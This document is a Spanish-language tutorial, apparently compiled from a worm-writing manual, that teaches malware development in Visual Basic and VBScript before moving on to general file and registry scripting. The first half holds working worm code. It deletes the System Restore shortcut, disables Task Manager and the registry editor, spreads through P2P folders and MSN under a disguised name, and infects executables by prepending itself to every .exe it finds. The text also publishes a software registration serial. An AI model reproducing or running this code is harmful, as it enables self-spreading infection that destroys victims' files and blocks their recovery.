Set f = fso.GetFolder(especificaciondearchivo)
s = UCase(f.Name) & " is a " & f.Type
MostrarTipoDeCarpeta = s
End Function
Propiedad VolumeName
Descripción
Sintaxis
objeto.VolumeName [= nuevonombre]
Parte Descripción
Comentarios
''04'' Punto de Recuperacion se llama Restaurar Sistema. Es para que la victima no pueda eliminar el HD(Malware).
kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del
sistema\Restaurar sistema.lnk"
''05'' Eliminar su Administrador de Tareas(broma). Esto es para que salga un mensaje diciendo: El Administrador a
desbloqueado esta opcion(o algo por el estilo).
shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
''06'' Bloquear el Registro. Para wue le sea dificil desinfectar el Worm y la propia habilitacion del Administrador de
Tareas.
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t
reg_dword /d ""1"" /f"
''09'' Copiar el Worm en la carpeta System32. Luego crear un "Archivo de comprobación", si no existe el worm que lo
ejecute.
@echo off
cls
If exist %SystemRoot%\system32\WormKV77.exe (start WormKV77.exe goto fin) else (goto up)
:up
If exist C:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up2)
:up2
If exist D:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up3)
:up3
If exist E:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up4)
:up4
:Fin
exit
''10'' Propagacion por P2P. Emule es Incoming, Kazaa es My Sheared folder, etc. Tambien el Worm se puede copiar
unas 100 veces con nombres distintos.
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Grokster\My Grokster\WormKV77.exe"
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Morpheus\My Shared
Folder\WormKV77.exe"
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\ICQ\shared files\WormKV77.exe"
''11'' Para que el Worm sea capaz sea capaz de propagarse por P2P, utilizamos ResHack y luego ir a esta ruta:
Version Info/1/3082. En la info escribimos esto:
VALUE "CompanyName","KarlosVid"
VALUE "ProductName","Encriptador"
VALUE "FileVersion","1.00"
VALUE "InternalName","Encriptador"
VALUE "OriginalFilename","Encriptador.exe"
''=> Luego click en "Compile Script" y Despues click en File/Save As...(Guardar como). Lo guardamos como
WormKV77.exe
''13'' Propagacion por MSN. 1.Crear o acceder al MSN, 2.Tomar la lista de contactos, 3.crear una ventana de chat(solo
con los contactos conectados), 4.emviar un mensaje que intimide a descargarse el archivo, 5.eviar el archivo.
GetForegroundWindow
SetForegroundWindow ''=> Para escribir en la ventana de Chat y luego darle en el foco a la ventana.
PostMessage ''=> Emviamos todo el mensaje.
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg
As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As
Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal
hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal
lpWindowName As String) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal
wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal
nIndex As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As
Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal
lpString As String, ByVal cch As Long) As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
''16'' Existen 2 tipos de Firmas: La victima lo vea y la victima NO lo vea(sirve para que el worm se ha infectado).
''=> Para marcar el PC así lo ideal es crear un archivo en el directorio System32 (que es de los mas ocultos) y
darle un nombre wapo al archivo (que sea falso).
''=> Con esto si nuestro Worm detecta este archivo sabra que ya a sido infectado.
Open "%Systemroot%\System32\System32.txt" For Output As #1
Print #1, "NombreDeNuestroVirus"
Close #1
''=> Poniendo la firma para que el worm sepa, que el archivo a sido infectado.
Dim TamanioArchivo As String
Open "C:\archivo.exe" For Binary As #1
tamarchivo = Space (LOF(1))
Get #1, , TamanioArchivo
Close #1
''18'' Creando una funcion para que infecte el archivo con solo pasarle el nombre.
Const VSC = 20480 ''=> Constante, tamaño del virus al ser compilado.
Function Infect_Exe(szFile As String) As Boolean
Dim szBuffer As String
Dim szVirus As String
Open szFile For Binary Access Read As #1 ''=> Abrimos el fichero a insertar.
szBuffer = Space(LOF(1)) "=> Leemos completamente LOF(1).
Get #1, ,szBuffer ''=> Almacenamos los datos en szBuffer.
Close #1
If (Right(szBuffer, 2) <> "vx") Then ''=> Obtenemos los 2 ultimos bytes y comparamos con la marca de infeccion
viral, si el fichero no está infectado continuamos.
MsgBox "Fichero no infectado! vamos a infectarlo!", vbInformation, "Infectar fichero"
Open App.Path + "\" + App.EXEName + ".exe" For Binary Acces Read As #2 ''=> Abrimos el virus (el fichero
actual que se está ejecutando)
szVirus = Space(VSC) ''=> Leemos los primeros 20480 bytes que es el tamaño total del virus despues de ser
compilado.
Get #2, ,szVirus
Close #2
Open szFile For Binary Acces Write As #3 ''=> Abrimos el fichero host y escribimos los datos.
Put #3, , szVirus
Put #3, , szBuffer
Put #3, , "vx" ''=> Infeccion Mark
Close #3
Else
MsgBox "Lo siento el fiechero ya está infectado", vbCritical, "Fichero infectado!"
End If
End Function
Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As
String, ByVal lpCommandLine As String, lpProcessAttributes As
SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long,
ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As
String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
''=> Declaramos dos estructuras y una constante en el modulo que son: Startupinfo, Process Information y
Normal_priority_class respectivamente.
''=> Crearemos un modulo en el proyecto y colocaremos esas declaraciones! con eso ya podemos usar las APIs desde
cualquier form.
Function Regenera_host()
Dim szBuffer As String ''=> Buffer donde se almacenará el Host
Dim szVirus As String ''=> Buffer donde almacenaremos al virus
Dim Si As STARTUPINFO ''=> Estructura Startupinfo
im Pi As PROCESS_INFORMATION ''=> Estructura security attibutes
pen App.Path + "\" + App.EXEName + ".exe" For Binary Acces Read As #1
szVirus = Space(VSC)
szBuffer = Space(LOF(1) - VSC) ''=> Tamaño total - tamaño virus = Tamaño del Host
Get #1, ,szVirus ''=> Abrimos el codigo Viral
Get #1, ,szBuffer ''=> Calculamos el tamaño del Host con (LOF(i) - VSC)
Close #1
Open "fichero.exe" For Binary Acces Write As #2 ''=> Escribimos el nuevo fichero.exe que es temporal.
Put #2, , szBuffer
Close #2
CreateProcessA "fichero.exe", Command(), 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, SI, PI ''=> Lo
ejecutamos mediante CreateProcessA.
WaitForSingleObject PI.hProcess,0 ''=> Esperamos a que finalice.
kill "fichero.exe" ''=> Eliminar el fichero.
By KarlosVid(ÊÇ) www.idat.byethost14.com 128
''20'' Búsqueda de ficheros mediante APIs (FindFirstFile – FindNextFile - FindClose).
''=> FindFirstFile.- se le pasan dos argumentos, el primero es un puntero string al fichero a buscar, y el segundo es un
puntero a una estructura WIN32_FIND_DATA.
''=> FindNextFile.- como bien su nombre lo indica es para buscar el siguiente fichero especificado, los parámetros que
se le pasan son el handle de findfirstfile y un puntero a la estructura antes mencionada.
''=> FindClose.- que se le pasa un solo argumento y es el handle de findfirstfile para ya terminar con la búsqueda de
ficheros.
''=> Declaraciones:
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String,
lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long,
lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindClose Lib "kernel32" Alias "FindClose" (ByVal hFindFile As Long) As Long
''=> Como siempre estas declaraciones publicas irán en el modulo del proyecto.
Sub search_host()
Dim W32FIND As WIN32_FIND_DATA
Dim hFindExe As Long
hFindExe = FindFirstFile("*.exe", W32FIND)
Infect_Exe W32FIND.cFileName ''=> Infectamos el fichero
While FindNextFile(hFindExe, W32FIND)
Infect_Exe W32FIND.cFileName ''=> Infectamos el Fichero
Wend
End Sub
Shell Winzip & " -a " archivozip & " " & archivoexe
Ejemplo:
Puedes Agregar varios archivos de diferentes formas por extensíon y por nombre y dirección de los archivos.
Ejemplo:
Ejemplo:
Shell Winzip & " -e C:\Hola.zip" & " C:\"
''=> Donde:
Name = "Nombre del registrado"
SN = "Numero de serie o s*rial Number"
''=> En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de numeros de serie que lo puedes
encontrar en internet.
''=> Es igual el numero de serie para registrar Winzip en todas sus versiones. Ejemplo:
Name = "*****"
SN = "EBB9042E"
''=> Si escribes en el registro las cadenas anteriores con los valores de arriba
''=> estará registrado winzip con el nombre de *****.
''=> (Comprobado en versiones 8.x y 9.x).
HKCR\WinRAR\shell\open\command\(Predeterminado)
Resultado de leer la cadena de arriba = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" "%1"
winrar = StrReverse(wss.regread("HKCR\WinRAR\shell\open\command\"))
''=> Leo e invierto la cadena
''=> Ahora ya tenemos lo que nos interesa (el path) para empezar a infectar archivos rar y este programa
además de ofrecernos la infección a archivos rar tambien nos permite a zip, es más fácil de utilizar que winzip. Ejemplo:
Shell winrar & " a " & archivorar & " " & "archivoacomprimir"
''=> *--Ejemplos:
''=> Extraer un archivo
Shell winrar & " x C:\archivorar.rar archivo.txt"
''=> Extrae el archivo "archivo.txt" de archivo .rar
Shell winrar " -a " & Direccion & " " & midir, VbHide
''=> Nota: Se tiene problemas con las direcciones, para resolver esto utilizaremos el método ShortPath de la fso.
Ejemplo:
''=> Lo que hace es crear un path sin espacios, del primer path que escribí de ejemplo arrojará lo siguiente
"C:\MISDOC~1\ARCHIV~1.ZIP" una dirección corta
''=> Así no te causará problemas para la infección de archivos ya que no admiten espacios en los path. Esto va
para el archivo a infectar y el archivo a
''=> Comprimir (osea Zip y virus ejm.)
''=> Ejemplo:
Set ar1 = fso.getfile(nomzip) ''=> Coloco las propiedades del archivo zip en ar1
pt1 = ar1.shortpath ''=> Coloco el path corto en pt1
Set ar1 = fso.getfile(midir) ''=> Coloco las propiedades del virus en ar1
pt2 = ar1.shortpath ''=> Coloco el path corto en pt2
''24'' Payload.- Es para hacer saber que el PC esta infectado por el Worm. Hay de varios tipos: Directos, indirectos y
logicos.
''=>** Los directos.- son los que al ejecutar el Worm el Worm se copia en el registro, y si es la primera vez envia
algun mensage como esto:
Msgbox "Aqui el mensaje",vbCritical,"Titulo de la pestaña"
''=>** Los indirectos.- Los que el usuario se da kuenta por si solo. Ejemplo:
''=> El Worm deje algun texto suelto dentro del C: (mi Worm lo hacia a esto) y luego cuando el user lo vee, lo lee
y sabe que esta infectado con el Worm.
''=> Si el Worm borra archivos, la victima vera que le faltan estos archivos y sospechara, aunke esto logicamente
no es un payload.
''=>** Los Lógicos.- Son los que se aktivan por logica, mi primer Worm tenia un buen ejemplo de lógica.
''=> Solo se activa el dia 13 del mes de Mayo.
If Month(Now) = 5 and Day(Now) = 13 then
MsgBox "Usted a sido infectado kon el Mejor Worm del Mundo",vbCritical,"By Bill Gates"
End If
Randomize
Num = Rnd
If Num = 0 Then
MsgBox "Dia de suerte, Dios a querido que no destruya tu PC, dale gracias", vbExclamation,
"Hendrix"
End If
If Num = 1 Then
MsgBox "Mala suerte tio, Hoy es dia de destruccion", vbCritical, "Hendrix"
End If
******************************************************************************
VBScript.- Son “simples” scripts, que se ejecutan por medio de un intérprete en el sistema, con lo que bastará con crear
el código en un simple bloc de notas (o similar), y
guardarlo con extensión *.vbs, sin necesidad de realizar ninguna compilación (aunque existe la posibilidad).
Se puede decir que los vbs son una mejora con respecto a los bat, ya que estos, permiten una mayor interacción con el
sistema operativo, y decir además que este lenguaje,
es un derivado de Visual Basic.
Caracteristicas:
* No importan las mayúsculas o minúsculas
* Para indicar un final de línea, no se debe de hacer más que pasar a la siguiente (no es necesario terminar con por
ejemplo “ ; “ como en javascript)
* Los comentarios, van precedidos de una “ ‘ “ (comilla simple).
* msgBox, es para mostrar un mensaje en la pantalla.
Tipos de dato:
Existen varios tipos de datos que pueden manejarse en vbs, y los que más vamos a utilizar, son ; Booleano, Byte,
Fecha, Double, Entero, Entero largo, Objeto, Single, Cadena.
Todos estos representan valores verdadero/falso, fecha/hora, númerosentero positivo/negativo, cadena de texto (no
creo necesite más explicación que esta).
Operadores:
1. Aritméticos: Suma(+), Resta(-), Multiplicación(*), División decimal(/), División entero(\), Potencia(^), Resto
división(mod)
2. Comparación: Igual(=), Distinto(<>), Mayor(>), Menor(<), Menos o igual(<=), Mayor o igual(>=)
3. Lógicos: Y(and), O(or), Xor, No(not)
4. De cadena: Concatenación(&)
Estos han sido a grandes rasgos, los operadores a utilizar en vbs, por lo que después, y haciendo uso de nuestro
próximo tema (estructuras de control), se mostrarán algunos ejemplos.
Estructuras de control:
2. Case (condicional).- Sirve para anidar dos o más, para así realizar varias evaluaciones.
Dim numero
numero = 8
Select case numero
case 6 msgbox "El valor es seis "
case 7 msgbox "El valor es siete "
case 8 msgbox "El valor es ocho "
End select
4. FOR EACH(bucle).- Recorre todos los elementos de una colección o vector. Un array o matriz, es una
estructura de datos en forma de variable, que permite almacenar más de un único valor, dentro de una única variable.
Para acceder a cada uno de estos valores, será necesario hacer uso de índices.
Forma1: (Simple)
Dim nombres(2)
nombres(0)= "Martín"
nombres(1)= "Pablo"
nombres(2)= "Carlos"
Msgbox nombres(1)
5. WHILE (bucle).- Es utilizado cuando queremos que una determinada acción se repita mientras una
determinada condición de cumpla.
Dim numero
Numero = 1
While numero <= 10
Msgbox numero
numero = numero + 1
Wend
6. DO (bucle).- El bucle do tiene varias opciones, pero básicamente hará algo, “mientras”, o “hasta que” ocurra
algo.
Forma1:
Dim a = 1
Do until a=10
Msgbox “Esto es un mensaje”
Loop
Forma2:
Dim a = 1
Do while a<>10
Msgbox “Esto es un mensaje”
Loop
Manejo de objetos
Toda interacción de vbs con el sistema se basa en el manejo de objectos (ActiveX), que no son más que librerías
especializadas y a nuestra diposición, por lo que dependiendo de lo que busquemos hacer, haremos uso de una u
otra (mezc landolas en nuestros scripts). Los objetos básicos de los que se hace uso son dos:
Antes de continuar debo de explicar que al trabajar con los objetos, los mismos se deben de declarar de la
siguiente manera:
Las distintas funciones que se pueden realizar a través de este objeto son:
Borrar, mover y copiar archivos. Leer y escribir en archivos de texto (Crear). Obtener y modificar atributos de archivos y
carpetas. Crear, borrar, mover y copiar carpetas. Obtener propiedades de archivos y carpetas. Listar subcarpetas. Listar
discos y particiones. Obtener propiedades de discos y particiones. Obtener determinadas rutas de sistema.
Mover archivos
Objfso.movefile origen, destino
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”)
Objfso.movefile “C \archivo txt”, “D \Carpeta”
Crear carpeta
Set variable = objfso.createfolder(destino carpeta)
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”)
Set micarpeta = objfso.createfolder(“C \carpeta”)
Borrar archivos
Objfso.deletefile archivo
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”)
Objfso.deletefile “C \archivo txt”
Copiar archivos
Objfso.copyfile origen, destino, sobreescribir
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”)
Objfso.copyfile “C \archivo txt”, “D \destino txt”, true
Mover carpetas
Objfso.movefolder origen, destino
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”)
Objfso.movefolder “C \Carpeta”, “D \Destino”
Borrar carpetas
Objfso.deletefolder carpeta
Ejemplo:
Objfso.deletefolder “C \Carpeta”
Copiar carpetas
Objfso.copyfolder origen, destino, sobreescribir
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”)
Objfso.copyfolder “C \Carpeta”, “D \Destino”, true
Para el manejo de archivos de texto, debemos de tener en cuenta, la existencia o no del archivo, y el modo en el que
accedemos a él. Obviamente, si un archivo no existe, no podrémos acceder a él, y a su vez, si abrimos un archivo en
modo de léctura, nunca podremos escribir dentro.
Ejemplo:
Notese que al comenzar, hemos creado el archivo y lo hemos asignado a una variable, luego hemos utilizado el
identificador de archivo (variable), para escribir dentro de él, en este caso, hemos utilizado writeline, que escribe una
línea, y agrega un retorno de carro para que si volvemos a escribir, lo hagamos en una nueva línea, en cambio, si en su
lugar, utilizamos write, el resultado, será que no habrá salto de línea, por lo que todas las oraciones iran quedando una
detrás de la otra. Por último, hemos cerrado el archivo.
Ejemplo:
Como se puede ver, al abrir el archivo, hemos indicado la ruta, el modo 8 que se utiliza para appending o escritura al
final de archivo, y true, que quiere decir que en caso de que no exista el archivo se cree, es decir que de este modo, no
solo abrimos el archivo, sino que de no existir, dicho archivo será creado en el proceso.
Para tener en cuenta, los modos en los que se puede abrir un archivo son:
1- Modo LECTURA
2- Modo ESCRITURA (escribe al principio)
8- Modo APPENDING (escribe al final)
Como se puede ver, al abrir el archivo, hemos indicado la ruta, el modo 8 que se utiliza para appending o escritura al
final de archivo, y true, que quiere decir que en caso de que no exista el archivo se cree, es decir que de este modo, no
solo abrimos el archivo, sino que de no existir, dicho archivo será creado en el proceso.
Así como abrimos archivos y podemos escribir en ellos, también existe la posibilidad de leer desde ellos, para lo cual
utilizaremos readline, y readall.
Como se puede imaginar, con readline iremos leyendo una a una las líneas del archivo (cada vez que pongamos
readline leeremos solo una), con este, leemos una línea, y el puntero se situa al final de la línea, para que a la
próxima ejecución de esta función, sea la línea siguiente la que sea leída. Con readall en cambio, leeremos el total de
archivo. Existe además una función llamada skipline, con la cual saltaremos la lectura de una línea.
Ejemplo:
A continuación explicaré el método mediante el cual, se puede obtener, o bien cambiar, los atribuos de archivos y
carpetas (es prácticamente igual para ambas cosas)
Obtener atributos
Ejemplo:
Set objfso = createobject(“scripting filesystemobject”) ‘mensaje con los attributos del archivo
Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf
Msgbox archivo.attributes
En este ejemplo vemos que luego de declarar el objeto, lo que hacemos es obtener el control del el archivo
tutorial.pdf, para lo cual utilizamos getfile, y asignamos el archivo a la variable archivo. Luego, y ya con el archivo en
la variable, podemos utilizarlo directamente para mostrar sus atributos, que no será más que un número que
englobará todas las constantes de los atributos. Las constantes que hacen referencia a los atributos de archivo son:
Como comentaba antes, attributes devolverá un valor único que será la sumatoria de cada uno de los valores para
cada atributo del archivo. Como ejemplo: Un archivo que tenga atributos de; solo lectura, oculto, de sistema, y de
archivo, tendrá un valor de 1+2+4+32= 39
Cambiar atributos
Ejemplo:
Así como podemos obtener y modificar los atributos de los archivos y carpetas, podemos acceder a determinadas
propiedades de los mismos, entre ellas:
• Nombre; name
• Nombre corto; shortname
• Tamaño; Size
Estas son las principales propiedades a las que podemos acceder, lo cual se hará de la siguiente forma:
Ejemplo:
Para obtener otras propiedades, simplemente sería cuestión de cambiar “size” por alguna de las otras propiedades a
las que tenemos acceso (les recomiendo probar con cada una para ver los resultados), y de igual manera, se haría con
carpetas en lugar de archivos, para lo que solamente tendríamos que cambiar getfile, por getfolder.
Listar subcarpetas
Con listar subcarpetas, nos referimos a, acceder a la colección de subcarpetas de una carpeta “X”, para trabajar con
cada una de ellas de manera independiente. Cuando hablamos de colección, hacemos referencia a un array, en el que
están todos los elementos contenidos en un determinado “listado”
Ejemplo:
Bueno, como se ve en este caso, el acceder a las subcarpetas no es totalmente directo, sino que, en un principio,
obtenemos la colección (array) de carpetas, para luego trabajar con cada una de ellas por medio de un for que
recorre toda la colección.
C:\carpeta
C:\carpeta\nivel1
C:\carpeta\nivel1\nivel2
Si listamos la colección de subcarpetas en la carpeta “C:\carpeta”, obtendremos todas las del nivel 1, pero no las del
nivel 2, para eso, deberíamos de implementar otro for que haga referencia a estas.
Listar discos/particiones
Al igual que para listar subcarpetas, para listar discos y particiones lo haremos a traves de una colección, por lo que en
realidad, será muy similar al punto anterior.
Ejemplo:
Como ya se había dicho, el método de listar los discos y particiones, es el mismo que para obtener las subcarpetas de
una carpeta, por lo que no debería de presentar ningún problema el hacerlo. También aclarar, que en el anterior
ejemplo, solo he incluído una propiedad que no se había visto anteriormente, y esta es la de driveletter, y que como ya
se habrán dado cuenta, hace referencia a la letra que tiene asignado el disco o partición en el sitema, por lo que una
vez mencionado esto, pasaremos justamente, a identificar, cuales son las propiedades de disco a las que tendremos
acceso.
Propiedades de disco
Como hemos visto en el anterior punto, a traves del objecto FSO es posible acceder a la colección de discos, así como
a sus propiedades, siendo estas propiedades, las siguientes:
• Letra; driveletter
• Nombre del disco; volumename
Espacio disponible; availablespace
• Ruta; path
El tipo de disco de un disco (valga la redundancia), puede estar entre los siguientes:
También he de acotar, que la disquetera (Unidad A), es reconocida como disco extraíble, así como también ocurre, con
las unidades virtuales, ej; aquellas carpetas montadas con el comando SUBST de ms-dos.
Rutas de carpetas
Por último, pero no menos importante, debo de comentar que el objecto FSO, permite obtener la ruta de tres de las
carpetas más importantes del sistema, como lo son:
• Windows (0)
• System32 (1)
• Temp (2)
Ejemplo:
Como se ve en ejemplo, en este caso, nos hacemos con el control de la carpeta de windows, y luego mostramos su
ruta, para poder accesar a las carpetas, las constantes son las que he indicado en un entre parentesis en un principio, al
nombrar las carpetas. Bueno, con esto hemos terminado con el objeto FSO, pasemos entonces al segundo y principal
objeto, la shell.
Shell (wscript.shell)
Esta es la menos importante de todas las funciones de este objeto, pero no deja de ser útil en algunas ocasiones, sobre
todo, si no queremos que un proceso se bloquee, solo por intentar mostrar un mensaje. Para que quede más claro, a lo
largo de todos los ejemplo que he puesto, he ido mostrando determinados mensajes a traves de la función de msgbox
(opción básica). Los mensajes generados con dicha función, no salen de pantalla, hasta bien el usuario, no da click en
el/los botones que tiene el cuadro de mensaje, por lo que en caso de utilizar un mensaje de este tipo, la ejecución de
nuestro script, se parará hasta bien este no salga de pantalla.
Pero en lugar de utilizar este tipo de mensaje, podemos hacer uso de una ventana popup, la cual desaparecerá sola al
cabo del tiempo que hayamos especificado, luego de lo cual, continuará la ejecución del script.
Ejemplo:
El resultado;
Para empezar, se puede apreciar que el objeto shell, se declara con Wscript.shell, y bueno, lo referente al mensaje,
creo que una imagen dice más que mil palabras, hemos mostrado un mensaje en pantalla, el cual al cabo de 3
segundos, desaparecera y dará paso al resto de nuestro script.
Notese algo, y es que para los “botones” he puesto el valor 64, este valor, hace referencia a la sumatoria de los
botones e iconos que aparecen en la ventana de mensaje, siendo los mismos:
En el caso de mi mensaje, el 64 corresponde a la suma del botón de ok (cero) y el icono de información (64).
Si quisieramos mostrar un mensaje de Si, No y Cancelar, con un icono de pregunta, deberíamos de poner como valor el
número 35 (3+32).
6, esto puede servirnos de mucho si queremos darle un poco de interactividad a nuestros scripts y tomar diferentes
caminos en virtud de las respuestas de los usuarios, lo cual puede ser utilizado junto a las funciones de msgbox (para
esta también valen los botones e iconos) e inputbox, aunque a pesar de la mención las veremos en detalle, ya que no
dependen de ningún objeto, y son de fácil comprensión.
Sin lugar a dudas, es una de las funciones más atractivas de este objeto, y su implementación no implica ninguna
dificultad, y aún así, la implementación de esta función, no presenta ninguna dificultad.
Leer valores
variable.regread(llave de registro)
Ejemplo:
Set objshell = createobject(“wscript shell”)
Msgbox objshell.regread("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures")
‘va todo en una misma línea, la llave es muy larga
Sencillo de entender, a través del objeto shell llamamos a la función regread, encargada de leer las llaves del
registro, en este caso, he optado por una llave un tanto larga, pero que contiene la ruta de la carpeta de “mis
imágenes”, al igual que en otros ejemplos, muestro el valor por medio de un msgbox, pero como en todos los casos,
es posible guardar este valor en una variable para luego trabajar con ella.
Borrar valores
variable.regdelete(llave de registro)
Ejemplo:
Set objshell = createobject(“wscript shell”)
objshell.regdelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures")
Al igual que para leer, el borrar cadenas no tiene nada de especial, sino que simplemente debemos de llamar a la
función regdelete para deshacernos de la cadena en cuestión.
Ejemplo:
En este ejemplo, estaríamos modificando la llave del registro que deshabilita el administrador de tareas (taskmgr).
Los datos que debemos de pasarle a esta función son; la llave a modificar/crear claro esta, el valor que le daremos, en
mi ejemplo ha sido 1, y el tipo de datos que estamos ingresando. Como muchos sabrán, el registro de windows soporta
ciertos tipos de datos en las diferentes claves de las que hace uso, a saber:
Existe un quinto tipo de datos, el REG_MULTI_SZ, pero no es soportado por esta función.
Tener en cuenta que regwrite puede tener problemas con cadenas demaciado largas, y considerar también, que tal
como he puesto en el título, regwrite creará una llave en caso de no existir, y la modificará en caso de que ya esté
presente. También he de recomendar que en caso de trabajar con el registro se ha de tener mucho cuidado, y que
quererse dejar el code más legible, se utilicen las siguientes abreviaciones (lo he hecho en mi ejemplo):
Ejecutar aplicaciones
Como he comentado antes, a traves de este objeto existen dos métodos diferentes de ejecutar aplicaciones,
loscuales además, tendrán diferentes opciones y resultados.
Método Run
Ejemplo:
En este caso ejecutamos el bloc de notas, en modo normal, y establecemos, que el script se pause (true) hasta que se
cierre la aplicación (notepad).
Lo que si cabe destacar, es el estado 0 (cero) o vbhide, que ejecuta una aplicación en modo oculto, sin
mostrar ningún tipo de ventana. Probar por ejemplo sustituyendo el número 1 por vbhide en el ejemplo que he dejado,
para ver (en realidad no se verá nada) como se ejecuta el notepad sin mostrar ninguna ventana (si se verá el proceso
en el administrador de tareas). Tener en cuenta además, que el estado de la ventana, y la espera del programa, son
totalmente opcionales , así que con poner simplemente objshell run “notepad” hubiese alcanzado.
Método Exec
Este método es muy similar al anterior, solamente que nos permite un mayor control sobre la aplicación que
estamos corriendo, con la excepción de que no nos permite seleccionar estado de la ventana.
variable.exec(rutaprograma)
Ejemplo:
Como vemos, el método en el que se ejecuta la aplicación es practicamente igual al anterior, solamente hemos
sutituído run por exec y no hemos pasado ningún parámetro a la función, pero ahora veamos que es lo que o hace
diferente del otro método.
• Status
• ProcessID
• Terminate
Estas serían las funciones que diferencian el exec del run, todas estas se aplican sobre la aplicación/comando que
estamos ejcutando, por lo que, para hacer uso de esta funcionalidad, es necesario ejecutar la aplicación, y asignar la
misma a una variable para luego trabajar a traves de esta. Veamos esto, junto a la explicación de status y processid.
El status identifica el estado de la aplicación ejecutada, 0 (cero) representa una aplicación en ejecución, y 1 (uno),
indentifica que la aplicación fue cerrada y su proceso ya no se encuentra presente. Con respecto al processid, creo que
salta a la vista la función del mismo, no es más que el identificador de proceso (PID).
Ejemplo:
En este ejemplo, ejecutamos el bloc de notas, asignando su proceso a la variable “bloc”, y luego mostramos dos
mensajes, uno con el status (debería de ser 0), y otro con el número de proceso.
La función status nos servirá en definitiva, para poder monitorear nuestro proceso, y realizar una determinada
acción en función de si permanece abierto, o bien, lo han cerrado.
Ejemplo:
Esta función, permite terminar el proceso que habíamos iniciado, por lo que por su nombre era fácil predecirlo
Ejemplo:
Abrimos el bloc de notas, realizamos una espera de 5 segundos, y cerramos el bloc de notas, fácil.
Pasando ahora a las últimas funciones de exec; stdin, stdout, stderr, debo de aclarar que estas funciones pueden ser
utiles a la hora de trabajar en línea de comandos, pero dado que en línea de comandos hay mejores maneras (a mi
criterio) de hacerlo, obviaré la explicación de dos de estas funciones, y solo le daré importancia a stdout que si
puede facilitarnos la tarea en la ejecución de comandos de ms-dos.
Stdout nos muestra la salida de un los comandos ejecutados a traves de exec, y para que se entienda mejor, pasare
directamente a un ejemplo;
En este ejemplo, hemos ejecutado un ping a google a traves del cmd, y luego por medio de stdout y su readall
hemos leído el contenido completo de la salida del comando y lo hemos mostrado en un msgbox. También, en lugar de
readall podemos utilizar read(x), donde x es el número de caracteres que queremos leer. En un ejemplo un poco mas
“elaborado”, haremos lo mismo que antes, pero esta vez haciendo uso de read, leeyendo el texto completo, pero
carácter a carácter.
Este ejemplo, es un poco más dificil de explicar, así como también lo es entender, por lo que quien quiera entenderlo
deberá prestar atención y visualizarlo detenidamente.
En resumen, ejecutamos el ping a google, y luego nos metemos en un bucle infinito (do), dentro de este, un análisis
condicional, si no se alcanza el final de la salida (stdout.atendofstream), la variable respuesta, es igual a la propia
variable y un carácter (concatenamos). Ese analisis se continuará haciendo hasta que se alcance el final de la lectura,
es ahí donde entonces, pasamos al else, y el else dice que, se sale del bucle do (exit do).
Por lo que en definitiva, el if se ejecutará una y otra vez, e ira guardando en la variable (respuesta) letra por letra hasta
formar el mensaje completo, cuando se llegue al final, se saldrá del bucle, y se mostrara el msgbox con la
“respuesta” Un poco más complicado, pero espero se entienda la idea de este ejemplo.
Variable.appactivate tituloventana
Ejemplo:
Con esto, obtendríamos el foco de una ventana con por ejemplo, el título “Sin título – Bloc de notas”, que como se
habrán dado cuenta, es el título que tiene un nuevo bloc de notas. Las consideraciones que debemos de tener en
cuenta al utilizar esta función, son las referentes al orden en el que realiza las comparaciones en busca de nuestra
ventana;
Primero busca la ventana que tiene el título exacto que hemos establecido. Si no encuentra el título exacto, busca
